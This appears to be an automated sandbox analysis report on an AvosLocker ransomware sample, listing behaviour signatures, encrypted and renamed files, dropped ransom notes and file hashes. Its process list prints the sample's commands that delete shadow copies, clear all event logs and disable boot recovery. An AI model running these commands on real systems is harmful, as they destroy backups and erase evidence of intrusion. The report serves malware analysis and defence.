Analysis Overview
SHA256
1198fb9117776809b11a19000161377384957bee846f7b25a610fc8ca082eb37
Threat Level: Known bad
The file Avos2.zip was found to be: Known bad.
Malicious Activity Summary
Avoslocker Ransomware
Deletes shadow copies
Modifies boot configuration data using bcdedit
Modifies extensions of user files
Drops desktop.ini file(s)
Enumerates connected drives
Sets desktop wallpaper using registry
Drops file in Program Files directory
Unsigned PE
Suspicious use of WriteProcessMemory
Opens file in notepad (likely ransom note)
Uses Volume Shadow Copy service COM API
Suspicious use of AdjustPrivilegeToken
Interacts with shadow copies
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-05-03 23:25
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2023-05-03 23:25
Reported
2023-05-03 23:28
Platform
win7-20230220-en
Max time kernel
68s
Max time network
30s
Command Line
Signatures
Avoslocker Ransomware
Deletes shadow copies
Modifies boot configuration data using bcdedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File renamed | C:\Users\Admin\Pictures\SkipOut.tif => C:\Users\Admin\Pictures\SkipOut.tif.avos2 | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Users\Admin\Pictures\CheckpointShow.tiff | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\CheckpointShow.tiff => C:\Users\Admin\Pictures\CheckpointShow.tiff.avos2 | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\InitializeClear.crw => C:\Users\Admin\Pictures\InitializeClear.crw.avos2 | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Users\Admin\Pictures\RestartSubmit.tiff | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\PublishExit.crw => C:\Users\Admin\Pictures\PublishExit.crw.avos2 | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ExitStart.tif => C:\Users\Admin\Pictures\ExitStart.tif.avos2 | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\FormatRevoke.raw => C:\Users\Admin\Pictures\FormatRevoke.raw.avos2 | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\JoinShow.crw => C:\Users\Admin\Pictures\JoinShow.crw.avos2 | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\RestartSubmit.tiff => C:\Users\Admin\Pictures\RestartSubmit.tiff.avos2 | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
Drops desktop.ini file(s)
| Description | Indicator | Process | Target |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
Enumerates connected drives
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\Z: | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\778778571.png" | C:\Windows\system32\reg.exe | N/A |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\images\bg-desk.png | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\eclipse.inf | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files\Common Files\Microsoft Shared\Triedit\es-ES\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files\Common Files\Microsoft Shared\TextConv\it-IT\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\7-Zip\Lang\eu.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Style\GostName.XSL | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\Adjacency.xml | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Common Files\microsoft shared\EQUATION\EQNEDT32.CNT | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Efate | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Tehran | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\es-ES\css\RSSFeeds.css | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\shuffle_up.png | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\fr-FR\js\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD14711_.GIF | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-profiling.jar | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-selector-ui.jar | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Common Files\Microsoft Shared\ink\hwrfralm.dat | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\it-IT\js\settings.js | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\BOLDSTRI\PREVIEW.GIF | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files\VideoLAN\VLC\plugins\spu\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Mozilla Firefox\browser\omni.ja | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Java\jre7\lib\zi\Asia\Novosibirsk | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\es-ES\js\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Equity.eftx | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Checkers.api | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Windows Sidebar\Gadgets\CPU.Gadget\es-ES\css\cpu.css | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Windows Media Player\Network Sharing\wmpnss_color32.bmp | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\feature.properties | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files\Google\Chrome\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\BS2BARB.POC | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Maroon.css | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0172035.WMF | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Java\jre7\lib\zi\America\Managua | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_it.jar | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\en-US\css\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGWEBPQT.XML | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_Country.gif | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Americana.css | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02453_.WMF | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Templates\1033\EssentialLetter.dotx | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Windows NT\TableTextService\it-IT\TableTextService.dll.mui | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Godthab | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files\Common Files\System\Ole DB\fr-FR\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\MDIParent.zip | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0183198.WMF | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Bangkok | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yekaterinburg | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\Computers\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Document Themes 14\Pushpin.thmx | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\square_m.png | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\VideoLAN\VLC\lua\http\requests\status.json | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\de-DE\js\service.js | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\kn.pak | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files\Common Files\Microsoft Shared\TextConv\fr-FR\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_blue_sun.png | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_blue_snow.png | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File created | C:\Program Files (x86)\Windows Media Player\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Media Player\de-DE\wmlaunch.exe.mui | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\rtf_hyperlink.gif | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\MessageBoxIconImages.jpg | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\TN00011_.WMF | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
Interacts with shadow copies
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\vssadmin.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Uses Volume Shadow Copy service COM API
Processes
C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe
"C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe"
C:\Windows\system32\cmd.exe
cmd /c wmic shadowcopy delete /nointeractive
C:\Windows\system32\cmd.exe
cmd /c vssadmin.exe Delete Shadows /All /Quiet
C:\Windows\system32\cmd.exe
cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
C:\Windows\system32\cmd.exe
cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\system32\cmd.exe
cmd /c bcdedit /set {default} recoveryenabled No
C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /All /Quiet
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
C:\Windows\System32\Wbem\WMIC.exe
wmic shadowcopy delete /nointeractive
C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "$a = [System.IO.File]::ReadAllText(\"Z:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\778778571.png /f
C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
Network
Files
\Device\HarddiskVolume1\Boot\zh-TW\GET_YOUR_FILES_BACK.txt
| MD5 | 064348106157ac3e6972ebe6852f665f |
| SHA1 | 4f95549af4873637f05f5f574b93605d30a28dbb |
| SHA256 | 876a6444eeb977c6d73be9474d3cc85307a0f68d4b342c2e59913172f80caa2a |
| SHA512 | e121d453c52fa8aabc7a878649bc68dc25a2bd24861c3557c82d8182ea7ac2b9f9921b5caae950901d036dd77a437e65233cbe5add23dc8d2c7446431bb3ab33 |
memory/2512-437-0x0000000002A50000-0x0000000002AD0000-memory.dmp
memory/2512-436-0x000000001B2E0000-0x000000001B5C2000-memory.dmp
memory/2512-539-0x0000000002A50000-0x0000000002AD0000-memory.dmp
memory/2512-438-0x0000000001DF0000-0x0000000001DF8000-memory.dmp
memory/2512-1115-0x0000000002A50000-0x0000000002AD0000-memory.dmp
memory/2512-1116-0x0000000002A50000-0x0000000002AD0000-memory.dmp
\??\PIPE\srvsvc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FOMTZ3UZ9MSF9K2QUI1M.temp
| MD5 | dfccff75a6d77007261579d609e6612d |
| SHA1 | 916b6244dac9f7d16b321061112d1e8481b3fe14 |
| SHA256 | ca8e3cf7276cee60381719cd9dce50c79d7210a14aeb78ee96ac218f2778c259 |
| SHA512 | a8aadb73aa294d50913d7e1b3d193bf3cdd794633165d0b3f0deb6232d1cc5fcc4991f7b8ceb4d4017ea02be0e20cb5befde053aa01a3c4e2ae6a30fba0788fb |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | dfccff75a6d77007261579d609e6612d |
| SHA1 | 916b6244dac9f7d16b321061112d1e8481b3fe14 |
| SHA256 | ca8e3cf7276cee60381719cd9dce50c79d7210a14aeb78ee96ac218f2778c259 |
| SHA512 | a8aadb73aa294d50913d7e1b3d193bf3cdd794633165d0b3f0deb6232d1cc5fcc4991f7b8ceb4d4017ea02be0e20cb5befde053aa01a3c4e2ae6a30fba0788fb |
memory/2612-24556-0x000000001B300000-0x000000001B5E2000-memory.dmp
memory/2612-24557-0x0000000002360000-0x0000000002368000-memory.dmp
\??\Z:\GET_YOUR_FILES_BACK.txt
| MD5 | 064348106157ac3e6972ebe6852f665f |
| SHA1 | 4f95549af4873637f05f5f574b93605d30a28dbb |
| SHA256 | 876a6444eeb977c6d73be9474d3cc85307a0f68d4b342c2e59913172f80caa2a |
| SHA512 | e121d453c52fa8aabc7a878649bc68dc25a2bd24861c3557c82d8182ea7ac2b9f9921b5caae950901d036dd77a437e65233cbe5add23dc8d2c7446431bb3ab33 |
memory/2612-24559-0x0000000002760000-0x00000000027E0000-memory.dmp
memory/2612-24560-0x0000000002760000-0x00000000027E0000-memory.dmp
memory/2612-24562-0x0000000002760000-0x00000000027E0000-memory.dmp
memory/2612-24561-0x0000000002760000-0x00000000027E0000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-05-03 23:25
Reported
2023-05-03 23:26
Platform
win10v2004-20230220-en
Max time kernel
9s
Max time network
60s
Command Line
Signatures
Avoslocker Ransomware
Deletes shadow copies
Modifies boot configuration data using bcdedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\Pictures\DismountInstall.tiff | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\DismountInstall.tiff => C:\Users\Admin\Pictures\DismountInstall.tiff.avos2 | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\FindRegister.crw => C:\Users\Admin\Pictures\FindRegister.crw.avos2 | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\HideSplit.raw => C:\Users\Admin\Pictures\HideSplit.raw.avos2 | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ShowExport.raw => C:\Users\Admin\Pictures\ShowExport.raw.avos2 | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
Enumerates connected drives
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\Z: | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File created | C:\Program Files (x86)\Windows Mail\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\5d6e4bd7bd7239fab20e043fb292974497297af89759b1b0d48d7d006e5e96fa.exe | N/A |
